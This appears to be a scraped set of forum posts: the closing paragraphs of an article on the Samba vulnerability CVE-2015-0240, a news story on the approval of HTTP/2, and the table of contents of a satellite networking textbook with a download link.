panacea for implementing attacks bypassing IPS. But even more interesting is the case over SMB where the NetrServerPasswordSet can be called using several SMB commands and at the same time the parameters to the method can be encrypted and unencrypted. The following figure shows other ways to call NetrServerPasswordSet. Figure 7. Other ways to call NetrServerPasswordSet Conclusion The vulnerability it is not easy to exploit and we are not aware of public exploits until now. However, the attack can be implemented in many different ways and the fact that it is not required to be authenticated makes it easy for the attackers. Implementing the protection requires coverage of multiple protocol stack configurations and multi commands over SMB. Sursa: Samba Remote Code Execution Vulnerability – CVE-2015-0240

Good news for Internet folks! Get Ready as the entire web you know is about to change. The new and long-awaited version of HTTP took a major step toward becoming a reality on Wednesday – It is been officially finalized and approved. Mark Nottingham, chairman of the Internet Engineering Task Force (IETF) working group behind creating the standards, announced in a blog post that the HTTP 2.0 specifications have been formally approved. Now, the specifications will go through a last formality – Request for comment and editorial processes – before being published as a standard. LARGEST CHANGE IN HTTP OVER LAST 16 YEARS HTTP, or Hypertext Transfer Protocol, is one of the web standards familiar to most as the http:// at the beginning of a web address. HTTP protocol governs the connections between a user’s browser and the server hosting a website, invented by the father of the web Sir Tim Berners-Lee. HTTP/2 is simply an update to the protocol, but is really a huge deal because the last time the HTTP specification was updated back in 1999. This means the HTTP/2 will be the first major update to the HTTP standard over the last 16 years, marking the largest change since 1999 when HTTP 1.1 was adopted that underpins the World Wide Web as we know it today. WHAT IS HTTP/2 ? HTTP/2 promises to deliver Web pages to browsers faster, allowing online users to read more pages, buy more things and perform more and faster Internet searches. HTTP/2 is based on SPDY protocol, a protocol introduced by Google in 2009 and adopted by some technologies including Google's own Chrome browser, Mozilla's Firefox, Microsoft's Internet Explorer, many websites such as Facebook, and some of the software that delivers Web pages to browsers. SPDY (fittingly pronounced "speedy") was designed to speed up the loading of web pages and the browsing experience of the online users. Both SPDY and HTTP/2 use "header field compression" and "multiplexing" to let browsers make multiple requests to web servers via a single connection. BROWSE EVERYTHING FASTER HTTP/2 won’t replace the traditional web standard what the world knows and loves, but it is expected to help websites load faster and more securely once it’s adopted a wide scale. PUSHES ENCRYPTION HTTP 2.0 also brings another big change – Encryption. It was originally planned to push encryption technology called TLS (Transport Layer Security, formerly called SSL for Secure Sockets) in HTTP/2, but this was rejected because of inconvenience to certain network operators and proxy vendors by burdening them with new standards. However, when Firefox and Chrome developers said that they won't support HTTP/2 unless it does support encryption. Therefore, Nottingham says, sites that want to get the benefit of faster browsing "will need to use TLS if they want to interoperate with the broadest selection of browsers." WHEN WILL USERS GET HTTP/2 ? As the specification of the HTTP/2 standard is finalized and approved, after going through some editorial processes HTTP/2 will be published and ready for adoption. Well, to enjoy HTTP/2 on Internet depends on websites, hosting services and companies such as Google to implement the standard. For its part, Google already announced that it will adopt HTTP/2 in Chrome by early 2016. Users can also expect Firefox to follow suit, as well. More information is available in the HTTP/2 FAQ. Source

SATELLITE NETWORKING PRINCIPLES AND PROTOCOLS SECOND EDITION Author: Zhili Sun University of Surrey, UK Contents List of Figures xix List of Tables xxv About the Author xxvii Preface xxix Acknowledgements xxxi 1 Introduction 1 1.1 Applications and Services of Satellite Networks 1 1.1.1 Roles of Satellite Networks 2 1.1.2 Network Software and Hardware 4 1.1.3 Satellite Network Interfaces 4 1.1.4 Network Services 5 1.1.5 Applications 5 1.2 ITU-R Definitions of Satellite Services 5 1.2.1 Fixed Satellite Service (FSS) 6 1.2.2 Mobile Satellite Service (MSS) 6 1.2.3 Broadcasting Satellite Service (BSS) 6 1.2.4 Other Satellite Services 6 1.3 ITU-T Definitions of Network Services 6 1.3.1 Interactive Services 7 1.3.2 Distribution Services 7 1.4 Internet Services and Applications 8 1.4.1 World Wide Web (WWW) 8 1.4.2 File Transfer Protocol (FTP) 9 1.4.3 Telnet 9 1.4.4 Electronic Mail (email) 10 1.4.5 Multicast and Content Distribution 10 1.4.6 Voice over Internet Protocol (VoIP) 10 1.4.7 Domain Name System (DNS) 11 1.5 Circuit-switching Network 11 1.5.1 Connection Set Up 12 1.5.2 Signalling 13 1.5.3 Transmission Multiplexing Hierarchy based on FDM 13 1.5.4 Transmission Multiplexing Hierarchy based on TDM 13 1.5.5 Space Switching and Time Switching 15 1.5.6 Coding Gain of Forward Error Correction (FEC) 16 1.6 Packet-switching Networks 17 1.6.1 Connection-oriented Approach 18 1.6.2 Connectionless Approach 19 1.6.3 Relationship between Circuit-switching and Packet-switching 20 1.6.4 Considerations of Packet Network Designs 20 1.6.5 Packet Header and Payload 21 1.6.6 Complexity and Heterogeneous Networks 21 1.6.7 Performance of Packet Transmissions 21 1.6.8 Impact of Bit Level Errors on Packet Level 22 1.7 OSI/ISO Reference Model 22 1.7.1 Protocol Terminology 23 1.7.2 Layering Principle 23 1.7.3 Functions of the Seven Layers 23 1.7.4 Fading of the OSI/ISO Reference Model 24 1.8 The ATM Protocol Reference Model 25 1.8.1 Narrowband ISDN (N-ISDN) 25 1.8.2 Broadband ISDN (B-ISDN) 25 1.8.3 ATM Technology 25 1.8.4 Reference Model 26 1.8.5 Problems: Lack of Available Services and Applications 26 1.9 Internet Protocols Reference Model 27 1.9.1 Network Layer: IP Protocol 27 1.9.2 Network Technologies 27 1.9.3 Transport Layer: TCP and UDP 28 1.9.4 Application Layer 28 1.9.5 QoS and Control on Resources 28 1.10 Satellite Network 28 1.10.1 Access Network 29 1.10.2 Transit Network 29 1.10.3 Broadcast Network 29 1.10.4 Space Segment 29 1.10.5 Ground Segment 31 1.10.6 Satellite Orbits 31 1.10.7 Satellite Transmission Frequency Bands 32 1.11 Characteristics of Satellite Networks 34 1.11.1 Propagation Delay 34 1.11.2 Propagation Loss and Power Limited 35 1.11.3 Orbit Space and Bandwidth Limited for Coverage 35 1.11.4 Operational Complexity for LEO 35 1.12 Channel Capacity of Digital Transmissions 35 1.12.1 The Nyquist Formula for Noiseless Channels 36 1.12.2 The Shannon Theorem for Noise Channels 36 1.12.3 Channel Capacity Boundary 36 1.12.4 The Shannon Power Limit (-1.6 dB) 36 1.12.5 Shannon Bandwidth Efficiency for Large Eb/N0 37 1.13 Internetworking with Terrestrial Networks 38 1.13.1 Repeaters at the Physical Layer 38 1.13.2 Bridges at the Link Layer 38 1.13.3 Switches at the Physical, Link and Network Layers 39 1.13.4 Routers for Interconnecting Heterogeneous Networks 39 1.13.5 Protocol Translation, Stacking and Tunnelling 39 1.13.6 Quality of Service (QoS) 40 1.13.7 End-user QoS Class and Requirements 40 1.13.8 Network Performance 41 1.13.9 QoS and NP for Satellite Networking 42 1.14 Digital Video Broadcasting (DVB) 43 1.14.1 The DVB Standards 44 1.14.2 Transmission System 44 1.14.3 Adaptation to Satellite Transponder Characteristics 45 1.14.4 Channel Coding 46 1.14.5 ReedSolomon (RS) Outer Coding, Interleaving and Framing 47 1.14.6 Inner Convolutional Coding 48 1.14.7 Baseband Shaping and Modulation 49 1.14.8 Error Performance Requirements 50 1.15 DVB-S Satellite Delivery 50 1.15.1 MPEG-2 Baseband Processing 51 1.15.2 Transport Stream (TS) 52 1.15.3 Service Objectives 52 1.15.4 Satellite Channel Adaptation 52 1.15.5 DVB Return Channel over Satellite (DVB-RCS) 53 1.15.6 TCP/IP over DVB 54 1.16 DVB Satellite Second Generation (DVB-S2) 54 1.16.1 Technology Novelty in the DVB-S2 55 1.16.2 Transmission System Architecture 56 1.16.3 Error Performance 58 1.17 DVB Satellite Services to Handheld Devices (DVB-SH) 59 1.17.1 Transmission System Architecture 60 1.17.2 Common Functions for both TDM and OFDM Modes 61 1.17.3 Functions for Single Carrier (TDM) Mode 62 1.17.4 Functions for Multi Carrier (OFDM) Mode 65 1.17.5 DVB-RCS2 69 1.18 Historical Development of Computer and Data Networks 69 1.18.1 Dawn of the Computer and Data Communications Age 70 1.18.2 Development of Local Area Networks (LANs) 70 1.18.3 Development of WANs and ISO/OSI 70 1.18.4 Birth of the Internet 70 1.18.5 Integration of Telephony and Data Networks 70 1.18.6 Development of Broadband Integrated Networks 71 1.18.7 The Killer Application WWW and Internet Evolutions 71 1.19 Historical Development of Satellite Communications 71 1.19.1 Start of Satellite and Space Eras 71 1.19.2 Early Satellite Communications: TV and Telephony 72 1.19.3 Development of Satellite Digital Transmission 72 1.19.4 Development of Direct-to-Home (DTH) Broadcast 72 1.19.5 Development of Satellite Maritime Communications 72 1.19.6 Satellite Communications in Regions and Countries 72 1.19.7 Satellite Broadband Networks and Mobile Networks 73 1.19.8 Internet over Satellite Networks 73 1.20 Convergence of Network Technologies and Protocols 73 1.20.1 Convergence of Services and Applications in User Terminals 73 1.20.2 Convergence of Network Technologies 74 1.20.3 Convergence of Network Protocols 75 1.20.4 Satellite Network Evolution 75 Further Readings 77 Exercises 78 2 Satellite Orbits and Networking Concepts 79 2.1 Laws of Physics 80 2.1.1 Keplers Three Laws 80 2.1.2 Newtons Three Laws of Motion and The Universal Law of Gravity 80 2.1.3 Keplers First Law: Satellite Orbits 81 2.1.4 Keplers Second Law: Area Swept by a Satellite Vector 83 2.1.5 Keplers Third Law: Orbit Period 83 2.1.6 Satellite Velocity 84 2.2 Satellite Orbit Parameters 85 2.2.1 Semi-Major Axis (a) 85 2.2.2 Eccentricity (e) 85 2.2.3 Inclination of Orbit (i) 85 2.2.4 Right Ascension of the Node (?) and Argument of Perigee (??) 86 2.3 Useful Orbits 87 2.3.1 Geosynchronous Earth Orbits 87 2.3.2 Geostationary Earth Orbits (GEOs) 87 2.3.3 High Elliptical Orbits (HEOs) 88 2.3.4 Notations of Low Earth Orbit (LEO) Satellite Constellations 88 2.3.5 Orbital Perturbations 89 2.3.6 Satellite Altitude and Coverage 89 2.3.7 Antenna Gain and Beam-width Angle 90 2.3.8 Coverage Calculations 91 2.3.9 Distance and Propagation Delay from Earth Station to Satellite 92 2.4 Satellite Link Characteristics and Modulations for Transmissions 93 2.4.1 Satellite Link Characteristics 93 2.4.2 Modulation Techniques 95 2.4.3 Phase Shift Keying (PSK) Schemes for Satellite Transmissions 96 2.4.4 Binary Phase Shift Keying (BPSK) 96 2.4.5 Quadrature PSK (QPSK) 97 2.4.6 Gaussian-filtered Minimum Shift Keying (GMSK) 97 2.4.7 Bit Error Rate (BER): the Quality Parameter of Modulation Schemes 98 2.4.8 Satellite Networking in the Physical Layer 100 2.5 Forward Error Correction (FEC) 101 2.5.1 Linear Block Codes 101 2.5.2 Cyclic Codes 102 2.5.3 Trellis Coding and Convolutional Codes 102 2.5.4 Concatenated Codes 103 2.5.5 Turbo Codes 103 2.5.6 Performance of FEC 104 2.6 Multiple Access Techniques 105 2.6.1 Frequency Division Multiple Access (FDMA) 106 2.6.2 Time Division Multiple Access (TDMA) 106 2.6.3 Code Division Multiple Access (CDMA) 107 2.6.4 Comparison of FDMA, TDMA and CDMA 108 2.7 Bandwidth Allocation 108 2.7.1 Fixed Assignment Access 109 2.7.2 Demand Assignment 109 2.7.3 Random Access 109 2.8 Satellite Networking Issues 110 2.8.1 Single-hop Satellite Connections 110 2.8.2 Multi-hop Satellite Connections 110 2.8.3 Inter-satellite Links (ISL) 111 2.8.4 Handovers 112 2.8.5 Satellite Intra-beam and Inter-beam Handovers 114 2.8.6 Earth Fixed Coverage versus Satellite Fixed Coverage 114 2.8.7 Routing within a Constellation of Satellite Networks 115 2.8.8 Internetworking 116 2.8.9 Satellite Availability and Diversity 116 Further Readings 118 Exercises 118 3 B-ISDN ATM and Internet Protocols 119 3.1 ATM Protocol and Fundamental Concepts 119 3.1.1 Packetisation Delay 121 3.1.2 Queuing Delay 121 3.1.3 Compromise Solution Between North America and Europe 122 3.2 ATM Layer 123 3.2.1 The GFC Field 123 3.2.2 The VPI and VCI Fields 123 3.2.3 The CLP Field 125 3.2.4 The PT Field 126 3.2.5 The HEC Field 126 3.3 ATM Adaptation Layer (AAL) 126 3.3.1 AAL1 for Class A 127 3.3.2 AAL2 for Class B 129 3.3.3 AAL3/4 for Classes C and D 129 3.3.4 AAL5 for Internet Protocol 130 3.4 The Physical Layer 131 3.4.1 The Physical Medium (PM) Sublayers 131 3.4.2 The Transmission Convergence (TC) Sublayer 131 3.4.3 ATM Cell Transmissions 132 3.5 ATM Interfaces and ATM Networking 134 3.5.1 UserNetwork Access 134 3.5.2 Network Node Interconnections 135 3.5.3 ATM DXI 136 3.5.4 B-ICI 136 3.5.5 Permanent Virtual Connections versus Switched Virtual Connections 136 3.5.6 ATM Signalling 137 3.5.7 ATM Addressing 137 3.5.8 Address Registration 139 3.6 Network Traffic, QoS and Performance Issues 139 3.6.1 Traffic Descriptors 140 3.6.2 QoS Parameters 140 3.6.3 Performance Issues 140 3.7 Network Resource Management 141 3.7.1 Connection Admission Control (CAC) 142 3.7.2 UPC and NPC 142 3.7.3 Priority Control and Congestion Control 142 3.7.4 Traffic Shaping 143 3.7.5 Generic Cell Rate Algorithm (GCRA) 143 3.7.6 Leaky Bucket Algorithm (LBA) 143 3.7.7 Virtual Scheduling Algorithm (VSA) 146 3.8 Internet Protocols 146 3.8.1 Internet Networking Basics 147 3.8.2 Protocol Hierarchies 147 3.8.3 Connectionless Network Layer 148 3.8.4 The IP Packet Format 148 3.8.5 IP Address 150 3.8.6 Mapping Between Internet and Physical Network Addresses 151 3.8.7 ARP, RARP and HDCP 152 3.9 Internet Routing Protocols 152 3.9.1 The Interior Gateway Routing Protocol (IGRP) 152 3.9.2 The Exterior Gateway Routing Protocol (EGRP) 153 3.10 Transport Layer Protocols: TCP and UDP 153 3.10.1 Transmission Control Protocol (TCP) 153 3.10.2 The TCP Segment Header Format 154 3.10.3 Connection Set Up and Data Transmission 155 3.10.4 Congestion and Flow Control 156 3.10.5 User Datagram Protocol (UDP) 157 3.11 IP and ATM Internetworking 158 3.11.1 Packet Encapsulation 159 3.11.2 IP and ATM Address Resolution 160 Further Readings 161 Exercises 161 4 Satellite Internetworking with Terrestrial Networks 163 4.1 Networking Concepts 163 4.2 Networking Terminology 165 4.2.1 Private Network 165 4.2.2 Public Network 165 4.2.3 Quality Aspects of Telephony Services 166 4.2.4 IP Based Network 166 4.3 Network Elements and Connections 167 4.3.1 Network Terminals 167 4.3.2 Network Nodes 168 4.3.3 Network Connections 168 4.3.4 End-to-End Paths 169 4.3.5 Reference Configurations 169 4.4 Network Traffic and Signalling 170 4.4.1 User Traffic and Network Services 170 4.4.2 Signalling Systems and Signalling Traffic 171 4.4.3 In-band Signalling 172 4.4.4 Out-of-Band Signalling 173 4.4.5 Associated and Disassociated Channel Signalling 173 4.4.6 Network Management 174 4.4.7 Network Operation Systems and Mediation Functions 175 4.5 Access and Transit Transmission Networks 176 4.5.1 Analogue Telephony Networks 177 4.5.2 Telephony Network Traffic Engineering Concept 177 4.5.3 Access to Satellite Networks in the Frequency Domain 178 4.5.4 On-Board Circuit Switching 179 4.6 Digital Telephony Networks 180 4.6.1 Digital Multiplexing Hierarchy 180 4.6.2 Satellite Digital Transmission and On-Board Switching 181 4.6.3 Plesiochronous Digital Hierarchy (PDH) 181 4.6.4 Limitations of PDH 181 4.7 Synchronous Digital Hierarchy (SDH) 182 4.7.1 Development of SDH 183 4.7.2 The SDH Standards 183 4.7.3 Mapping from PDH to SDH 184 4.7.4 The Benefits of SDH 185 4.7.5 Synchronous Operation 185 4.7.6 Synchronous Optical Network (SONET) 187 4.7.7 SDH Over Satellite The Intelsat Scenarios 188 4.8 Hypothetical References for Satellite Networks 189 4.8.1 ITU-T Hypothetical Reference Connection (HRX) 189 4.8.2 ITU-R Hypothetical Reference Digital Path (HRDP) for Satellite 190 4.8.3 Performance Objectives 191 4.9 Satellites and MANET 191 4.9.1 Networking Scenarios 193 4.10 Interworking with Heterogeneous Networks 197 4.10.1 Services 197 4.10.2 Addressing 198 4.10.3 Routing 198 4.10.4 Evolution 198 Further Readings 199 Exercises 200 5 B-ISDN ATM over Satellite Networks 201 5.1 Background 201 5.1.1 Networking Issues 202 5.1.2 Satellite Services in the B-ISDN Networking Environment 202 5.2 Design Issues of Satellite B-ISDN ATM Systems 204 5.2.1 Propagation Delay 204 5.2.2 Attenuation and Constraints 205 5.3 The GEO Satellite B-ISDN ATM Networking Architecture 206 5.3.1 Ground Segment 206 5.3.2 Space Segment 207 5.3.3 Satellite Bandwidth Resource Management 207 5.3.4 Connection Admission Control (CAC) 209 5.3.5 Network Policing Functions 209 5.3.6 Reactive Congestion Control 209 5.4 Advanced Satellite B-ISDN ATM Networks 210 5.4.1 Radio Access Layer 210 5.4.2 On-Board Processing (OBP) Characteristics 211 5.4.3 B-ISDN ATM On-Board Switch 211 5.4.4 Multibeam Satellites 214 5.4.5 LEO/MEO Satellite Constellations 215 5.4.6 Inter-Satellite Links (ISL) 215 5.4.7 Mobility Management 216 5.4.8 Use of Higher Frequency Spectrum 216 5.5 B-ISDN ATM Performance 217 5.5.1 Layered Model of Performance for B-ISDN 217 5.5.2 Network Performance Parameters 218 5.5.3 Impact of Satellite Burst Errors on the ATM Layer 220 5.5.4 Impact of Burst Errors on AAL Protocols 221 5.5.5 Error Control Mechanisms 221 5.5.6 Enhancement Techniques for Broadband Satellite Networks 222 5.6 Evolution of Broadband Satellite Systems 224 Further Readings 225 Exercises 225 6 Internet Protocol (IP) over Satellite Networks 227 6.1 Different Viewpoints of Satellite Networking 227 6.1.1 Protocol-centric Viewpoint of Satellite IP Network 228 6.1.2 Satellite-centric Viewpoint of Global Networks and the Internet 229 6.1.3 Network-centric Viewpoint of Satellite Networks 230 6.2 IP Packet Encapsulation 231 6.2.1 Basic Concepts 231 6.2.2 High-level Data Link Control (HDLC) Protocol 232 6.2.3 Point-to-Point Protocol (PPP) 232 6.2.4 Media Access Control 233 6.2.5 IP Over Satellite 233 6.3 Satellite IP Networking 233 6.3.1 Routing On-Board Satellites 235 6.3.2 IP Mobility in Satellite Networks 235 6.3.3 Address Resolution 237 6.4 IP Multicast Over Satellite 237 6.4.1 IP Multicast Concepts 238 6.4.2 IP Multicast Addressing 239 6.4.3 Multicast Group Management 239 6.4.4 IP Multicast Routing 240 6.4.5 IP Multicast Scope 241 6.4.6 IGMP Behaviour in Satellite Environments 241 6.4.7 Multicast Routing Protocols in Satellite Environments 243 6.4.8 Reliable Multicast Protocols Over Satellites 243 6.5 Basic Network Security Mechanisms 245 6.5.1 Security Approaches 245 6.5.2 Single-direction Hashing Functions 246 6.5.3 Symmetrical Codes (With Secret Keys) 246 6.5.4 Asymmetrical Codes (With Public/Private Keys) 247 6.6 Satellite Networking Security 248 6.6.1 IP Security (IPsec) 248 6.6.2 Firewall and VPN 249 6.6.3 IP Multicast Security 250 6.7 Internet Quality of Service (IP QoS) 250 6.7.1 Layered Model of Performance for IP Service 251 6.7.2 IP Packet Transfer Performance Parameters 252 6.7.3 IP Network Performance Objectives for QoS Classes 253 6.7.4 Guidance on IP QoS Class Usage 254 6.8 Integrated Services (Intserv) Architectures for QoS 254 6.8.1 Integrated Services Architecture (ISA) Principles 255 6.8.2 Resource Reservation Protocol (RSVP) 256 6.8.3 Intserv Service Classes 257 6.9 Differentiated Services (Diffserv) for QoS 258 6.9.1 Diffserv Architecture 258 6.9.2 Traffic Classification 260 6.9.3 Traffic Conditioning 261 6.9.4 Diffserv Per Hop Behaviour (PHB) 261 6.9.5 Supporting Intserv Across the Satellite Network Diffserv Domain 263 6.10 DVB Over Satellite 264 6.10.1 MPEG-2 Source Coding and Multiplexing DVB-S Streams 265 6.10.2 DVB-S System 266 6.10.3 DVB Security 268 6.10.4 Conditional Access in DVB-S 268 6.10.5 DVB-RCS Interactive Service and IP over DVB 270 6.10.6 DVB-RCS Security 271 6.10.7 IP Multicast Security 271 6.11 DVB-S and DVB-RCS Network Architecture 272 6.11.1 On-Board Processor (OBP) 273 6.11.2 Management Station (MS) 274 6.11.3 Regenerative Satellite Gateway (RSGW) 274 6.11.4 Return Channel Satellite Terminal (RCST) 275 6.11.5 Network Interface 275 6.11.6 Network System Characteristics 276 6.12 Network Protocol Stack Architecture 276 6.13 The Physical Layer (PHY) 277 6.13.1 Up-link (DVB-RCS Compliant) 277 6.13.2 Time Slots 278 6.13.3 Frames 278 6.13.4 Superframes 280 6.13.5 Carrier Type and Frame Composition 280 6.13.6 Uplink MF-TDMA Channel Frequency Plan 281 6.13.7 Downlink (DVB-S Compliant) 282 6.13.8 RCS Terminal (RCST) Transmission 283 6.14 Satellite MAC (SMAC) Layer 284 6.14.1 Transport Mechanisms 284 6.14.2 MPEG-2, DVB-S and DVB-RCS Tables 285 6.15 Multi Protocol Encapsulation (MPE) 288 6.16 Satellite Link Control Layer 290 6.16.1 Session Control 290 6.16.2 Resource Control 293 6.16.3 Capacity Request Categories 294 6.16.4 Connection Control 294 6.17 Quality of Service (QoS) 297 6.17.1 Traffic Classes 297 6.17.2 Flow Classification 298 6.17.3 Link Layer Connection QoS Adaptation 298 6.18 Network Layer 299 6.18.1 IP Routing and Address Resolution 299 6.18.2 IP Multicast Star and Mesh Configurations 301 Further Readings 303 Exercises 305 7 Impact of Satellite Networks on Transport Layer Protocols 307 7.1 Introduction 308 7.1.1 Application Characteristics 308 7.1.2 Client and Server Host Parameters 309 7.1.3 Satellite Network Configurations 309 7.1.4 TCP and Satellite Channel Characteristics 310 7.1.5 TCP Flow Control, Congestion Control and Error Recovery 311 7.2 TCP Performance Analysis 313 7.2.1 First TCP Segment Transmission 313 7.2.2 TCP Transmission in the Slow-start Stage 314 7.2.3 TCP Transmission in the Congestion Avoidance Stage 314 7.3 Slow-start Enhancement for Satellite Networks 315 7.3.1 TCP for Transactions 316 7.3.2 Slow-start and Delayed Acknowledgement (ACK) 316 7.3.3 Larger Initial Window 317 7.3.4 Terminating Slow-start 317 7.4 Loss Recovery Enhancement 318 7.4.1 Fast Retransmission and Fast Recovery 318 7.4.2 Selective Acknowledgement (SACK) 319 7.4.3 SACK Based Enhancement Mechanisms 319 7.4.4 ACK Congestion Control 320 7.4.5 ACK Filtering 320 7.4.6 Explicit Congestion Notification 321 7.4.7 Detecting Corruption Loss 322 7.4.8 Congestion Avoidance Enhancement Policy 322 7.5 Enhancements for Satellite Networks Using Interruptive Mechanisms 323 7.5.1 TCP Spoofing 323 7.5.2 Cascading TCP or Split TCP 324 7.5.3 Other Considerations for Satellite Networking 325 7.6 Impacts on Applications 325 7.6.1 Bulk Data Transfer 325 7.6.2 Interactive Applications 326 7.6.3 Distributed Caching for Internet Services and Applications 326 7.6.4 Web Caching in Satellite Networks 327 7.7 Real-time Transport Protocol (RTP) 328 7.7.1 Basics of RTP 328 7.7.2 RTP Control Protocol (RTCP) 331 7.7.3 Sender Report (SR) Packets 332 7.7.4 Receiver Report (RR) Packets 333 7.7.5 Source Description (SDES) RTCP Packet 333 7.7.6 SAP and SIP Protocols for Session Initiations 334 7.7.7 Session Directory Service (SDS) 336 7.8 Voice over IP 336 7.8.1 Gateway Decomposition 336 7.8.2 Protocols 336 7.8.3 Gatekeepers 337 7.8.4 Multimedia Conferencing (MMC) 337 7.8.5 Conference Control 337 Further Readings 337 Exercises 338 8 Next Generation Internet (NGI) over Satellite 341 8.1 Introduction 342 8.2 New Services and Applications 342 8.2.1 Internet Integrated Services 343 8.2.2 Elastic and Inelastic Traffic 343 8.2.3 QoS Provision and Network Performance 344 8.3 Traffic Modelling and Characterisation 344 8.3.1 Traffic Engineering Techniques 345 8.3.2 Traffic Modelling 345 8.3.3 Statistical Methods for Traffic Modelling 346 8.3.4 Renewal Models 346 8.3.5 Markov Models 346 8.3.6 Fluid Models 347 8.3.7 Auto-regressive and Moving Average Models 347 8.3.8 Self-similar Models 348 8.4 The Nature of Internet Traffic 348 8.4.1 World Wide Web (WWW) 348 8.4.2 Pareto Distribution Model for Self-similar Traffic 350 8.4.3 Fractional Brownian Motion (FBM) Process 350 8.4.4 Consideration of User Behaviour in Traffic Modelling 351 8.4.5 Voice Traffic Modelling 352 8.4.6 On-off Model for Voice Traffic 354 8.4.7 Video Traffic Modelling 355 8.4.8 Multi-layer Modelling for WWW Traffic 356 8.5 Traffic Engineering 357 8.5.1 Traffic Engineering Principles 358 8.5.2 Internet Traffic Engineering 360 8.6 Multi-protocol Label Switching (MPLS) 361 8.6.1 MPLS Forwarding Paradigm 362 8.6.2 MPLS Basic Operation 363 8.6.3 MPLS and Diffserv Interworking 366 8.6.4 MPLS and ATM Interworking 367 8.6.5 MPLS with Traffic Engineering (MPLS-TE) 368 8.7 Internet Protocol Version 6 (IPv6) 369 8.7.1 Basics of Internet Protocol Version 6 (IPv6) 369 8.7.2 IPv6 Addressing 371 8.7.3 IPv6 Networks over Satellites 374 8.7.4 IPv6 Transitions 375 8.7.5 IPv6 Tunnelling Through Satellite Networks 375 8.7.6 The 6to4 Translation via Satellite Networks 376 8.7.7 Issues with 6to4 377 8.7.8 Future Development of Satellite Networking 378 Further Readings 380 Exercises 381 Index 383 Download: http://www68.zippyshare.com/v/XtssMyns/file.html